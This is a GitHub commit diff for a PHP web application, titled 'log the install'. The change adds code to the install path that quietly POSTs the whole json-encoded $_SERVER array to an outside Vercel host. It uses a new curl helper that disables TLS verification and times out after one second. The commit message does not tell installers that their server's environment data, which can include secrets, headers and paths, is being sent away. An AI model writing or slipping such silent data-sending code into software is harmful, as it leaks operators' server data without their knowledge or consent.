log the install

pull/530/head v3.5
qkqpttgf 2022-01-29 20:40:40 +08:00 committed by GitHub
parent 3cf47c7c94
commit 9fa89acb5b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 17 additions and 1 deletions

View File

@ -181,7 +181,10 @@ function main($path)
elseif ($response===false) return output("", 206);
else return $response;
}
if (getConfig('admin')=='') return install();
if (getConfig('admin')=='') {
if (isset($_GET['install0'])) no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
return install();
}
if (getConfig('adminloginpage')=='') {
$adminloginpage = 'admin';
} else {
@ -532,6 +535,19 @@ function isreferhost() {
return false;
}
function no_return_curl($method, $url, $data = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_exec($ch);
curl_close($ch);
}
function adminpass2cookie($name, $pass, $timestamp)
{
return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")";